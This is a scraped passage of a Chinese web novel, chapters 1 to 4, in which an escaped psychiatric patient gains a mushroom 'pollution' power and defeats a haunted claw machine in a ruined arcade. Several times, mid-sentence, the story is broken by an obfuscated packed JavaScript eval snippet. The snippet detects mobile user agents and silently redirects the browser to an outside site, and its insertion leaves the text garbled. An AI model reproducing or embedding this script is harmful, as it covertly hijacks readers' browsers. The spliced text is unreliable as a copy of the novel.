《我污染了污染物》 1. 第 1 章 世界几乎一片漆黑。 “咕噜咕噜……”咀嚼和吞咽的声音窸窸窣窣响起。 一滩软泥般的污染物蠕动着身体，不断吞噬着周遭更小的污染物。 它的身体慢慢膨胀、变大，而后长出了“脑子”，拥有了意识。 几乎是一瞬间，它变得更加饥饿与贪婪，它的肚子叫嚣着吞噬更加有营养的食物，它要变得更加强大。 它扭曲着身体四处嗅探，试图寻找任何可以食用的东西。 但周遭除了没脑子的低级污染物外，便是旧纪元的人类遗留下的垃圾，没有任何东西可以彻底填饱它饥饿的肚子。 它变得焦躁不安，从地上抓起一大把低级污染物，泄愤般地咀嚼着这并不美味的食物。 污染物们此起彼伏地尖叫着，身体一个个像气球般炸开。 忽然间，它停止了咀嚼。 它身体直立，注意到了不远处的动静。 一个成年人类正茫然无知地走在黑夜中，看上去对周围存在的危险毫无感知。 “咕噜咕噜……”它身上滴落下粘稠的液体，像是流出的口水。 它闻到了高级食物的味道，肚子控制不住地饥饿。 它蠕动过去。 那名人类女性看到了它，脸上没有露出它想象中的恐惧与害怕。 反而，有些……激动与兴奋？ 它歪了歪脑袋，觉得不太对劲，但它的“脑子”还不足以分析目前如此复杂的情况。 它甩了甩脑袋，放弃并不存在的思考。 不管怎样，面前这个人类是它的了。 吞掉她，它将会脱离低级污染物的行列，长出污染晶核，建立自己的污染区。 或许，它马上就会成为下一个最强大的污染物！ 它迫不及待。 它冲了上去—— 意识消失前，它似乎听到女人说了什么话。但还来不及思考，它的“脑子”已经消失了。 有一股更强大的力量侵入它的身体，扭曲它的意识，攥紧它的“大脑”。 啪—— 它四分五裂，像一滩稀薄的水一样重新渗入大地。 周围一大片污染物受惊逃窜，仿佛无数虫子略过地面的声音。 唰唰唰—— 唰唰唰—— 脚步停止的那一刻，声音戛然而止。 “哈……喽？”方沐吞掉卡在嗓子里的半个音节，茫然地看着眼前的空地。 她伸手探了探，面前并没有她刚才看到的那个奇怪的东西，地面上只是残留着一滩污水。 这已经是她出现的第二十六次幻觉了。 她的病情好像又加重了。 她一时有些不知道，究竟是看到那些奇怪的东西更危险，还是自己的病情变坏更加严重。 方沐敲了敲脑袋，试图让自己变得正常一点。 她是一名精神病患者，一直住在一家精神病院里。日子虽然有些枯燥乏味，但她本人除了脑子有点小毛病外过得似乎还不错。 但就在两个小时前，这份平静被打破了。 她的眼前突然出现了一串神秘的文字。 【姓名：方沐 生命值：1 生命倒计时：24:00:00】 在她看到文字的一瞬间，生命倒计时的数字开始变化。 她的生命不足一天。 方沐愣了几秒，就在准备接受自己即将去世的事实时，她忽然意识到自己有着严重的精神疾病，面前这串文字肯定又是她幻想出来的。 “还好还好，差点儿忘记自己有病了。” 方沐提起的心瞬间放了回去，感觉从没有哪一刻比现在意识到自己有精神病更加安心。 她想像以前一样忽视掉面前的幻象，等待它自行消失。 但紧接着，面前的文字就像为了证明自己是真实的一样，开始随着方沐的心跳不断跳动。黑色的文字逐渐变得狰狞恐怖，甚至渗出深红色的血迹。 方沐大脑嗡嗡作响，心跳加速，呼吸急促。她感觉到身体内的血液翻涌滚动，血管不断胀大，仿佛有无数虫子在啃食她的生命。 “不要……！”方沐捂紧自己的胸口，像个溺水的人一样拼命呼救，她并不想死。 似乎察觉到了方沐强烈的求生意图，面前的文字就像开了一个玩笑一样，眨眼之间便停止了跳动，颜色也恢复成普通的黑色，好像刚才什么都没有发生。 方沐冷汗直流，刚才那种痛苦的感觉还残留在身体上。 刚才她以为自己真的要死了。 这不是幻觉。 面前的文字也不是假的。 方沐虽然患有极为严重的精神疾病，但没有任何躯体化症状。她的身体一向很好，壮的像头牛一样，甚至比很多正常人都要健康。 她无比相信自己的身体，也比任何人要珍爱自己的身体。 虽然她的脑子不好，但是她的身体很棒。 她的宗旨是，脑子和身体总要有一个在线上。 而现在，她的身体也要掉线了。 方沐的大脑一片空白，她无法接受，甚至有点崩溃，她不允许让这一切发生。 意识到这一点后，她不敢多耽搁，立刻动身去找医生。 方沐把发生的情况简单地描述了一遍，焦急地等待医生的帮助。 医生听完后，了然地点点头，拿着听诊器随意在她心脏附近贴了贴，而后用一副没什么大不了地表情告诉她：“方沐，你很健康，身体没有任何问题。你要记住，你是一位重度精神病患者，你只是旧病发作了。” 说完后，医生安抚地笑了笑。 方沐也笑了，表面跟医生道谢，内心吐槽了句庸医，头也不回地出了门。 果然不是自己的命就不会那么上心。 她走到医院没人的角落里，抬起头，看向精神病院四周高大陡峭的围墙。 她决定了，她要出去，自己去寻找希望。 没人信她，她就找一个信她的人。 于是，她成功“出院”了。 出来时有多么信心满满，方沐现在就有多么绝望。 外面的世界和她想得不一样，没有繁华的都市，也没有热闹的人群，只 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470515|201454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有一眼望不见的黑夜。 高楼倒塌断裂，汽车扭曲凹陷，破败的城镇充斥着一股腐烂的味道。 她走了两个多小时，别说是个人，就连一只蟑螂都看不到。 这里就像经历了一场末世灾难，彻底摧毁了所有的文明与生命，再也看不到任何一丝希望。 方沐有些后悔了，甚至在思考要不要原路返回。 就在这时，一个声音进入了方沐的耳朵里。 “你好呀，想来玩一把游戏吗？” 方沐脚步放缓，但并没有停止走路，她不知道这会不会又是假的。 “咦？听不到吗？不应该呀。”那个声音在自言自语。 方沐停下脚步，转头去看。 “嘻嘻嘻，这就对了，我在这里。”声音依旧没有消失。 方沐朝着声音的来源走去，七拐八拐之后，停了下来。 她看着面前的垃圾桶，上面挂着斑驳的锈迹，里面透出一股腐臭味，仿佛藏匿着某种危险的气息。但任凭她怎么看，那都不过是一个普通的垃圾桶罢了。 方沐一时有些不太确定，不知道她的精神疾病会把一个人描绘成什么模样。 她犹豫了一下，小心又谨慎地问：“是你吗？” “？” 声音的主人愣了一下：“不，我在后面。” “……好的，我先扔个垃圾。”方沐做了几个拙劣的假动作，下意识掏了掏，从口袋里掏出一团塞了很久的卫生纸扔入垃圾桶，借此掩饰自己的尴尬。 她向后转身，看到破旧的墙壁上挂着歪歪扭扭的招牌，上面写着嬉皮游戏城几个大字。颓废的大门上布满了裂痕，游戏城里早已看不出昔日的欢乐。 “嘻嘻嘻就是这里，快进来吧。”这个人类可真傻，竟然把它认成垃圾桶。 它怎么可能是垃圾桶呢，它的肚子可比垃圾桶能装多了！ 嘻嘻嘻，一会儿它就要把这个人类装到肚子里。 方沐迈入游戏城大门，没有注意到，她身后的垃圾桶动了动，发出接二连三的气球爆炸声。低级污染物们惨叫着，一个个支离破碎，黢黑的液体从垃圾桶里流了出来。 游戏城内部很安静，只摆着几台过时破旧的游戏机。里面一个人都没有，空荡荡的。 方沐搓了搓自己的胳膊，感觉这里比外面还要阴冷。 “这里，我在这里。”那个声音再次出现，从更深处的地方传过来。 方沐顺着声音走去，透过门缝，隐隐看到最里侧的房间里闪着冷光。 她走过去，推开门，没有人，只有一台孤零零的娃娃机。 里面的玩偶们一点儿都不可爱，反而身体扭曲，目光呆滞，像是一个个被蹂躏捏皱的人类，很是渗人。 更吓人的是，这些玩偶们都长得一模一样，表情更是如初一撤地相像，如同复制粘贴出来的一般。 “抓娃娃，抓娃娃，抓到娃娃就离开，抓不到娃娃变娃娃。” “嘻嘻，嘻嘻嘻，嘻嘻嘻嘻。” 忽然，诡异的音乐声伴随着笑声响起。 身后的门猛地关闭了。 2. 第 2 章 金属夹子不断撞击着玻璃罩子，偶尔发出尖锐难听的摩擦声。 “嘻嘻嘻，嘻嘻嘻。”诡异的笑声越来越多，越来越大。 娃娃机里一模一样的玩偶们目不转睛地盯着方沐，一起咧着嘴大笑。 “抓娃娃，抓娃娃，抓到娃娃就离开，抓不到娃娃变娃娃。”玩偶们的嘴巴不断张合，无数声音一齐唱响。 四面八方的音乐声徘徊而来，像一张大网不断收缩拉紧。 娃娃机欢乐地笑了两声，抱着猎物即将到手的愉悦心情，满怀期待地去看又一个即将被捕获的人类。 这个人类看起来鲁莽又憨傻，看到这幅景象肯定要被吓坏了吧。她脸上的表情一定充满了恐惧与惊吓，真是太让它期待了！ 娃娃机自信满满，对这个没有任何威胁性的人类不带半分警惕。 忽然，一道被注视的视线让它浑身一震。 方沐黑白分明的眼睛正在看着它，与它对视。 “你好呀。”方沐想了想，学着对方的样子笑了两声，“嘻嘻嘻。” 音乐声和笑声停止了，玩偶们眨巴着眼睛，空洞的眼神里多了点疑惑。 这个人类为什么不害怕，它们长得多吓人，多么一样呀！ 娃娃机也定住了，以为是恐吓力度不够强，继续加大了音乐和笑声的音量，玩偶们也一个个抽搐着，不断翻起了白眼。 果然，力度一加强，面前人类的笑脸就维持不住了。 娃娃机再次“嘻嘻嘻，嘻嘻嘻”放声大笑着，它就知道，没有一个人类不会被它这副景象吓到。 试想一下，充满了萌趣与可爱的玩偶们一个个都变成了恐怖片里的样子，谁能不感到害怕呢。 方沐不擅长假笑，只维持了一会儿，脸就变得僵硬无比。她想趁机放松一下，谁成想一下子就被面前这位女士当场捕获，还很猖狂地放声大笑起来。 得益于她的精神疾病，方沐很快就接受了此人是个娃娃机的样子。但现在，她顿时觉得这位娃娃机女士脑子也有些不正常，很有可能是她的病友。 拜托，谁家正常人没事就开始笑。 “那个，你没事儿吧？”方沐也不是正常人，她这次换了一种笑法，露出标准的八颗牙齿。 “嘻–嘻–嘻。”娃娃机的笑声逐渐变弱，笑不出来了。 它已经把恐怖强度拉到了最大，可面前的人不仅没有受到任何精神攻击，还笑得一脸灿烂。 挑衅！这纯粹是挑衅！ 它有些生气了，老虎机不发威，当它是病机是吧。 看来得动点真格的了。 娃娃机身上的灯光条瞬时五彩斑斓地亮起来，身后伸出八条抓夹，不断伸展延长，仿佛一条条蠕动的触手。 玩偶们也像滚筒洗衣机里的衣服一样疯狂旋转，一个个被甩出来，掉到了地上。 很快，玩偶们一个个歪着脑袋站起来，瘦小的身体里不断塞满撑大，最后变得和正常人类一般大小。 方沐被淹没在玩偶堆里，此刻，她也变成了玩偶中的一员。 娃娃机的抓夹不断在她头顶徘徊，仿佛下一秒就要把她抓起来，送到娃娃机的肚子里，做成一个玩偶摆件。 【副本：嬉皮游戏城 等级：D 污染浓度：48% 提示：小心不要变成玩偶哦】 方沐面无表情地看着眼前出现的字幕，很确信自己被做局了。 不过，这里的等级和污染浓度是什么？不能是精神病严重程度吧。 没等方沐细想，又有声音响了起来。 “好娃娃，乖娃娃，听话懂事守规矩，我们都一样，都是好娃娃。” 其中一个玩偶突然唱着歌，扭过脑袋，一动不动地盯着方沐。 紧接着，又一个玩偶扭过头来，以同样的姿势，同样的表情看着方沐。 然后，是下一个，下下一个，下下下一个…… 所有的玩偶都转过身来，歪着脑袋，咧着嘴巴看着方沐。方沐仿佛站在了逆流而行的人群中，与所有人的方向都完全相反。 “找娃娃，找娃娃，哪个娃娃不一样，我们现在找到她。” 玩偶们的眼珠子咕噜咕噜地转动起来，头顶的抓夹们也不断晃动着。 方沐被一堆玩偶盯着，心底发毛，想起了她曾写在日记里的话。 精神病会通过精神污染的方式传染。 现在的情况与她所了解的精神病很像，有一瞬间，她几乎以为自己还在精神病院内，只是无意中闯入了一间病房。 “找到她了，找到她了，嘻嘻嘻，嘻嘻嘻，快来快来抓住她。” 忽然，一个玩偶伸出手指着方沐。 方沐一愣，下意识后撤。但显然，这些玩偶们并不打算放过她。 第二个也伸出手指指着方沐，紧接着第三个，第四个……所有玩偶指着方沐，把她围了起来。 八个抓夹停了下来，悬在方沐头顶的正上方。 方沐感觉到了危险的靠近。 歌声停止的那一刻，八个抓夹一起动作，冲向方沐。 方沐侧身一闪，踩着玩偶们的头和脑袋，纵身一跃，从玩偶堆里面跳了出来。 她的身体可不是吃素的，不然也不能硬从精神病院的围墙里爬出来。 抓夹们紧追不舍，玩偶们也加入其中，疯狂地向着方沐冲过来。 方沐不仅要躲避头顶的抓夹，还要应付玩偶们的攻击。 抓夹靠近的时候，她顺手抓住其中一个玩偶，等抓夹落下来的时候，她躲到了玩偶后面。 抓夹抓住玩偶，提到空中，而后捏成一团塞进了娃娃机里面。不一会儿，娃娃机里面掉出来一个新做好的小玩偶。小玩偶不断膨胀变大，又变成了一个人形玩偶。 好家伙，这竟然死不了，那这招行不通。 方沐飞速狂奔，在玩偶和抓夹的攻击中不断穿梭，大脑飞速转动，疯狂想解决办法。 一只抓夹已经盯上了她，可方沐的移动速度太快，抓夹的速度总是稍差一点儿，只能追在方沐屁股后面跑。 与此同时，另一只抓夹也飞速赶来，想给方沐来个前后夹击。 有办法了。 方沐跑着跑着，突然原地停下来，就地一躲，她的位置上变成了一个玩偶。 两个抓夹来不及反应，一起抓住了玩偶，将其扯到了空中。两股力量撕扯着玩偶裂开，里面的填充物掉了出来，淤泥一般在地上蠕动着，样子长得像方沐之前看到的幻觉。 方沐一脚踩上去，那蠕动的东西发出“嘭”的爆炸声，不再动弹。 果然，她之前看到的东西也不是假的。 这一次，娃娃机里没再产出新的玩偶。 方沐见这方法有效，故技重施，利用抓夹又消灭了好几个玩偶。 但尝试了几次之后，抓夹也不再上钩了。 玩偶们也像有集体智慧一般，发现自己捉不住方沐之后，开始使用另外的方法。 突然，一个玩偶抓住机会，扑倒了方沐身上。方沐闪躲不及，另一个玩偶也紧跟着扑了上来。一个玩偶叠一个玩偶，一个玩偶叠一个玩偶，玩偶们层层堆叠，把方沐压在了最下面。 方沐被一堆重量不轻的玩偶们压在下面，顿时感觉呼吸不畅。 她奋力推着身上的玩偶，但仅凭她个人的力气很难从这里脱离出来。 而且，还有玩偶源源不断地扑上来，她身上的重量还在增加。 大有捉不住她就把她压死的意思。 方沐越来越难以呼吸，感觉今天可能要被压死在这里。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470516|201454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 【成功击杀低级污染物X50，已觉醒异能】 【异能：污染 介绍：看到你手心里的蘑菇了吗，这是个神奇的蘑菇，它可以变大变小，成为任何你想要的形状。它与你一同生长，你可以通过种蘑菇污染任何你想污染的东西。 提示：小小的蘑菇可能会带来意外的收获哦~】 污染物和异能，这又是些什么？ 方沐扭头，看到了自己手心里长出来的一朵蘑菇，小小的，软软的，仿佛还在呼吸。 是因为她也有精神病，所以异能也是污染吗？ 不管了，先活着再说。 方沐伸出手，猛地抓住了压在自己身上的玩偶。手心里的蘑菇不断变化，变成了一把利剑。 蘑菇剑无比锋利，刺破了第一个玩偶的身体，紧接着第二个，第三个……玩偶们像烤串一样被串在了签子上。蘑菇剑开始变大变宽，玩偶们的身体无法承载，一个个“嘭嘭嘭”地炸开。 天上哗啦啦下起了淤泥雨，方沐起身，伸手擦去了自己脸上的污泥。 “这就结束了？”方沐单手挽了个剑花，总觉得没有那么简单。 【副本更新 污染浓度：48%，49%，50%……】 【副本：嬉皮游戏城 污染浓度：57% 等级：C】 副本更新？等级还能升高？不带这样的吧，是不是有点太流氓了。 地上的淤泥蠕动着，冒出了一个泡泡，接着是越来越多的泡泡，泡泡里冒出了一个玩偶，接着是越来越多的玩偶。“噗噗噗”，一个接一个的玩偶从淤泥里冒了出来，数量变得更多了。 方沐挥出手里的蘑菇剑，击碎了面前的一个玩偶。 玩偶化成淤泥，转眼间又从淤泥里长了回来。 玩偶们不再是从娃娃机里面被制造出来，它们不断地生长着，接连不断，绵延不绝。 这和刚才的玩偶等级完全不一样，方沐拿着剑的手抡得飞快，但杀死的完全赶不上长出来的。 这样下去不行，得靠脑子解决。 方沐观察着面前的玩偶们，发现它们的动作一致，但并不连贯，看起来不像是集体操控，而是一个玩偶有意识地模仿另一个玩偶。 对了，模仿。玩偶们第一次做动作时，也是一个做完紧接着另一个做。 玩偶们像是排好了序号一样，从前往后依次传递动作信息。 那既然是这样的话，所有的玩偶们肯定都有一个模板，它们一个接一个地模仿这个模板的所有动作。 但玩偶们随时会被消灭，模板必定不能处于这堆玩偶之中，否则模板会有随时消失的风险。玩偶们没了模仿对象，到时候也就彻底乱了套。 想明白这一点后，方沐边躲避着来自玩偶们的攻击，开始四处寻找模板。 方沐忽然想到了什么，扭头看向娃娃机。 果然，娃娃机里面的玩偶并没有全部出来，里面还有一个小型的玩偶。它在里面挥手，这些人形玩偶也紧跟着挥手，动作一模一样，但总是延迟于它。 看来那就是玩偶们的模板了。 方沐挥着剑，击杀了面前的几个玩偶。 趁着玩偶复活的空隙，她蹲下身体，用蘑菇剑撑地，以一种惊人的弹跳力从空中一跃而起，跳到了娃娃机旁边。 意识到方沐的意图，地上的淤泥伸出一只手，抓住了方沐的腿，想把她拽到淤泥里。头顶的抓夹们也发现了不对，立刻掉转方向。 但已经来不及了。 方沐斩断淤泥里抓住自己的手，撞碎玻璃。 “我可以污染任何我想污染的东西。”方沐默念着这句话，在玩偶身上种了一朵蘑菇。 蘑菇覆盖住了玩偶的脸，然后变成了方沐的样子。 3. 第 3 章 玩偶们冲到了方沐面前，还想继续攻击她。 方沐拦住第一个玩偶，疑惑地对它说：“你怎么和我们不一样？” 玩偶愣住，下意识去看娃娃机里的玩偶，发现自己和里面的玩偶不一样了。陌生的样子让它变得恐慌，它的脸开始不断地扭曲变形，最后变成了方沐的样子，一点不差。 方沐看着和自己一模一样的一张脸，笑了。 那个玩偶也笑了，转身，重复方沐的动作，对着下一个玩偶说：“你怎么和我们不一样？” 下一个玩偶笑着重复了它的动作，也变成了方沐的样子，继续对着下下个玩偶说：“你怎么和我们不一样？” 一传十，十传百，很快，屋子里站满了方沐，她们的嘴角勾出同一个笑容。 可这还没有完，脚底下的淤泥里还在不断冒出新玩偶，它们也全部都变成了方沐的样子。 一屋子的方沐站在这里，方沐趁机悄悄地融入了进去。 现在这情况，就是方沐站在里面，也怀疑自己是不是真方沐的程度。 头顶的抓夹一下子乱了阵脚，这里是方沐，那里也是方沐，到底哪个才是真的方沐。 八个抓夹在头顶上转来转去，攻击变得毫无章法，几乎是见一个抓一个。 但抓进娃娃机里的方沐不会消失，她们很快便又从娃娃机里制造出来，再次变成方沐。地上依旧不断地长出方沐，像一个个冒出来的小蘑菇。 方沐们变得源源不断。 抓夹们四处攻击，很快便被自己绕晕。八个抓夹缠绕在一起，拧成了麻花。 “你是方沐，我是方沐，我们大家都一样，我们的名字叫方沐。” 一个方沐开口说话，扭头去看下一个方沐，下一个方沐也开口说话，扭头去看下下个方沐…… 一个方沐继续说话：“现在有个娃娃和我们不一样，我们要找到她，找到她。” 好多方沐继续说话：“现在有个娃娃和我们不一样，我们要找到她，找到她。” 方沐们观察着方沐们，找不同一般观察着每个细微之处，稍微有一点不同就会被她们挑剔出来。 “嘻嘻嘻，嘻嘻嘻，找到了，找到了。” 一个方沐伸出手指，第二个方沐也伸出手指，第三个……所有的方沐伸出手指，指着其中一个方沐。 “你和我们不一样。” “你和我们不一样。” “你和我们不一样。” 翻天覆地的声音传来，极有攻击性地对准唯一一个方沐。 那个方沐身上打着补丁，浑身都是修修改改的痕迹，确实和其她人不一样。 补丁玩偶被一堆玩偶指着，瞬间也慌了神。她的脸变了变，不再是方沐的样子。 她的身上和脸上，处处都打着补丁，看不清楚那到底应该是个什么样的玩偶。 “为什么？为什么？”她自言自语着，看着自己全是补丁的身体，“我和你们不一样……我为什么又和你们不一样？” “我明明已经很乖了，很听话了。我想变得和你们一样，我想融入你们。可你们为什么还是指责我、排挤我、羞辱我！”补丁玩偶语气突然变得狠毒。 头顶拧成麻花的八个抓夹合成了一个抓夹，变得巨大无比。抓夹握成一个硕大的拳头，从空中落下来，砸扁了一大片方沐。 但是很快，一大片方沐们又长了出来。 抓夹像砸地鼠一样，砸扁了一片又一片的方沐。方沐们又像韭菜一样，割走了一茬便又长出另一茬。 方沐借着方沐们的掩护，手握蘑菇剑，从人群中冲了出来，一个措手不及，刺向了补丁玩偶。 补丁玩偶身后长出一个新的抓夹，灵活的像尾巴一样，飞快地把方沐甩了出去。 方沐在地上滚了一圈，卸去了大部分力气。抬头去看，发现刚才能把普通玩偶们刺个对穿的蘑菇剑，此刻却只在补丁玩偶上划破了一点儿皮，对她没有致命伤害。 “啧。”方沐感到不妙，这个玩偶和那些普通玩偶确实不是一个等级的。 于是她趁着补丁玩偶没有反应过来的间隙，飞快冲到补丁玩偶面前，冲着刚才的划过的地方又来了一刀。 这次有了效果。 补丁玩偶脸上掉下了一个补丁，露出了里面旧的补丁。她看到地上掉落的补丁，颤抖地摸了摸自己的脸，大声吼叫着：“你竟敢！” 补丁玩偶生气了，两个抓夹一起朝着方沐冲来，比之前任何一次速度都要更快。 方沐知难而退，退回到方沐们中间，再次消失不见。 两个抓夹撞在一起，发出“刺啦”的声音。忽然恼羞成怒，变得无比疯狂，胡乱地甩动着。 “可恶！可恶！你们为什么都一样！”补丁玩偶无能狂怒，在一堆方沐中间看来看去，根本分不清谁是谁。 她眼睛通红，大声吼叫：“找不到，根本找不到！” 她吼叫了几声，忽然瞥见娃娃机里的小方沐，表情突然一百八十度大翻转，“嘻嘻嘻”地笑起来。 方沐顺着她的眼神看去，暗道不好。 补丁玩偶伸长抓夹，从娃娃机里面抓出那个方沐小玩偶，用力捏碎。 小玩偶掉在地上，不再动弹。 方沐们失去了参照物，脸和身体扭曲起来，软绵绵的身体倒了下去，又变成了淤泥的样子。 “可恶。”方沐没有了其她方沐的掩护，顿时暴露无遗。 “嘻嘻嘻，找到了。”补丁玩偶将头一歪，指挥着抓夹去抓方沐。 方沐很轻松躲过。 可这次，补丁玩偶没再急着去抓方沐，反而抓起了地上的淤泥，塞到了自己嘴里。 补丁玩偶每吃一点淤泥，她的身体就长大一点。很快，她的身体变得巨大无比，仿佛一脚就能把方沐踩死。 方沐意识到不妙，飞快地跑起来，灵活地躲避着攻击。 可房间里本来就很空荡，她没有太多地方可以闪避，很快就被逼近了角落里。 补丁玩偶的大脑袋低头看着她：“嘻嘻嘻，又找到你了。” 方沐闪躲不及，被补丁玩偶抓了起来，她用蘑菇剑砍着补丁玩偶的手和胳膊，可是实在是见效甚微。 补丁玩偶像是裹了一层又一层厚厚的布料，她砍去一层还有一层，无穷无尽，根本戳不到致命处。 怎么办怎么办？快想想办法。 “我可以污染任何我想污染的东西。”方沐想起了她的异能介绍。 可问题是，这么大个玩偶，她该从何下手。 补丁玩偶张开大嘴，将方沐丢了进去。 “咕咚。”补丁玩偶咽了下去，满意地笑了。 房间安静了一两秒。 下一秒，她脸上的表情变得极其痛苦。她俯身捂住肚子，嘴里惨叫着。 补丁玩偶的腹部突然破开一个洞，方沐双手持剑，从里面飞了出来。 巨大的补丁玩偶跪倒在地上，抓夹也瘫倒在地。 方沐身上沾着粘液，微微喘着气。她刚才，在玩偶的肚子里种了一朵蘑菇。 既然无法从外部攻破，那就从里面开始污染吧。 补丁玩偶跪倒在地，一时竟然无法站起。她感觉身体里似乎有什么东西正在破土而出。 她伸出手，想继续去抓方沐，却发现手上布满了裂痕。 她低下头，看到自己的身体从腹部开始，裂开了一大道口子。 补丁玩偶睁大双眼，发现她的整个身体在不断开裂。 她身体上掉落下来一层又一层厚厚的补丁。 与此同时，眼前的字幕又跳了出来。 【污染浓度：58%，59%，60%……】 怎么回事儿？污染浓度还在升高，她刚才种的蘑菇没有用？ 方沐变得警惕起来，握紧了手中的蘑菇剑，能感受到自己越来越快的心跳声。 周围并没有发生什么变化，但方沐不敢松懈，因为字幕迟迟没有消失，污染浓度一直持续攀高。 【污染浓度：69%，70%，71%……】 此时的补丁玩偶像在剥洋葱一样，一点一点地褪去皮囊，补丁掉满了整个房间。 到最后，里面只剩下了一个很小很小的灰扑扑玩偶。 【污染浓度：83%，84%，85%……】 “我，我总是和别人不一样，和周围的人没有共同语言。他们都说我是个异类。” “没有人和我说话，没有人和我交朋友。我好孤独，我好害怕。” “我努力模仿他们的样子，一次又一次，一次又一次。” “终于，我变得和他们一样，他们终于和我玩了。” “可是，明明和他们一样了，我为什么还是好难过啊……” “我好难过！” “你也要变得和我一样！” 【污染浓度：92%，93%，94%……】 抓夹再次起身，用尽最后一点力气飞向方沐。方沐扭身挥剑，抓夹掉落， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17470517|201454||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动弹了一下，彻底瘫痪了。 什么都没发生。 【污染浓度：98%，99%，100%】 【污染完成】 “噗”，一朵蘑菇从玩偶的身体里长出来。 【已通关娃娃机副本】 方沐松了一口气，放开蘑菇剑。忽然意识到这个污染完成指的是她自己的异能——污染。 她的污染和污染物的污染竟然是叠加在一起的，这说明她的污染其实和污染物没有什么本质区别吗？方沐依旧一头雾水。 与此同时，那朵小蘑菇也在不断生长。一开始，那朵蘑菇很小，后来越长越大，然后顶破房屋，覆盖了整个游戏城。 蘑菇的形状长得有点像个玩偶，身上打着补丁。仿佛它以玩偶为养料，最终也长成了玩偶的样子。 方沐为眼前此刻的场景感到震撼。 巨大的伞盖遮蔽下，那些乌黑的淤泥慢慢褪去，变得洁白而干净。蘑菇周边，七彩的光芒笼罩着，染出一层又一层的光晕。这朵蘑菇像是黑夜里的一盏灯，在无比漆黑的世界里照出唯一的一点儿亮光。 “和别人变得一样就可以好起来了吗？”方沐看着那个随着蘑菇生长而不断萎缩的小玩偶，忽然觉得有些可怜。 和别人一样吗？这件事她没想过，因为她一直和别人不一样。 方沐收起蘑菇剑，看着它又缩回手心，像个疲劳的孩子一样睡去。 【副本奖励开始结算】 【孕育一朵污染菇，生命值：1→10 生命值大于1，不再进行倒计时提醒】 【获得异能：乌合之众 介绍：短时间内，可病毒式快速传染一个想法。一定时间内，被传染者会无比相信这个想法，且不会对其产生质疑，传染时长取决于被传染者易被传染程度。 提示：想法不在于正确，而在于大众】 【获得C级污染晶核5枚 获得D级污染晶核50枚】 方沐再次看向面前的字幕，发现生命倒计时果然消失了。 她心里沉沉地松了一口气，太好了，她不会马上就死掉了，她还能活很久。 虽然有可能只是十天。 生命值是1的时候，她的生命只有1天。当生命值变为10的时候，她的生命理应也只有十天。 可是，为什么倒计时却不再继续了吗？ 它是不是也知道，十天相比起一天来说，还是有很大的拖延空间的。 真神奇，就连生命倒计时也有ddl，方沐如是想。 另外，她对这个所谓的“污染菇”感到非常好奇。 根据提示来看，她是通过种了这种叫作“污染菇”的蘑菇才增加了生命值。而这种蘑菇，只有当污染浓度到达100%的时候才会长出来。 也就是说，她的异能【污染】其实是一种蘑菇催熟剂。 所以，她的污染其实和污染物的污染有很大区别，因为她只能催熟蘑菇，而不能催熟污染物。 因为刚才污染物自身浓度升高的时候，副本等级是上升了的，这就说明污染本来是对污染物有好处的。 是因为她的污染更高级吗？方沐有点自恋地想，说不定她是站在污染物食物链顶端的存在。 直觉告诉她，这或许与她的精神疾病有着千丝万缕的关系。而她需要的答案，就在这里。 方沐走出游戏城大门，发现除了蘑菇覆盖的范围内，其它地方还是一如既往的漆黑，仿佛这里并没有任何时间变化。 门口的垃圾桶横倒在路中央，上面被炸开了一个大洞，垃圾桶盖不知道崩到了哪里去，里面垃圾全部掉出来，脏水流了一地，地上还有她刚才扔进去的卫生纸。 “谁这么没有素质。”方沐说着，一脚踢开挡在自己面前的垃圾桶。她并没有觉得自己是个很有素质的人，所以毫无心理负担。 眼神一转，方沐看到了贴在墙上极其醒目的广告纸—— 欢迎来到耀光城，人类最后的希望！ 方沐走上前，干脆利落地撕下广告，读着上面的文字。 你还在为末世无处可去而担忧吗？你还在因饥肠辘辘而四处寻找食物吗？赶快来耀光城加入我们吧，这里会有你想要的一切。有问题随时来找我，我可以解答你的一切疑问，我是黄昏区最最最最最最神通广大的陈听，我会为你提供一切你想知道的讯息。地图在背面→ 方沐翻到背面，看着那鬼画符般的地图，朝着新的目的地出发。 4. 第 4 章 方沐觉得这个画地图的人应该没什么绘图天赋，甚至极有可能分不清东南西北，不然也不至于把地图画得像迷宫一样。 在同一个地方打转了三次后，方沐终于忍不住吐槽，这人是不是不知道地图是个什么东西。她甚至开始怀疑，这可能也是某家精神病院跑出来的病友，是刻意搞她玩呢。 方沐忍耐力有限，在第N次破口大骂时，她终于看到了地图上标注的位置——一棵枯萎腐朽的大树。 